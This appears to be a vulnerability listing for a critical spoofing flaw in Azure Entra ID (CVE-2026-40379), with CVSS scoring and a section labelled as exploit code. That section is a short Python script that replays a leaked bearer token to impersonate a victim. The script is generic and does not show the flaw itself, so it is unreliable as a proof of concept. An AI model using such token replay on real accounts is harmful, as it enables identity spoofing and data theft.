Exposure of sensitive information to an unauthorized actor in Azure Entra ID allows an unauthorized attacker to perform spoofing over a network.
CVSS Details
CVSS Score
9.3
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
Configurations (Affected Products)
No configuration data available.
Azure Entra ID < 2026-05-12 Patch Version
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC Concept for CVE-2026-40379
# This is a demonstration of the logic flow for the spoofing attack.
import requests
def exploit_spoofing(target_url, leaked_token):
"""
Simulates the spoofing attack using exposed sensitive information.
Note: This is for educational purposes only.
"""
headers = {
"Authorization": f"Bearer {leaked_token}",
"User-Agent": "AttackerTool/1.0"
}
# The attacker sends a crafted request to spoof the victim's identity
response = requests.get(target_url, headers=headers)
if response.status_code == 200:
print("[+] Spoofing successful! Sensitive data obtained.")
return response.text
else:
print("[-] Attack failed.")
return None
# Example usage (hypothetical)
# target = "https://entra.microsoft.com/api/vulnerable/endpoint"
# token = "exposed_sensitive_token_from_cve"
# exploit_spoofing(target, token)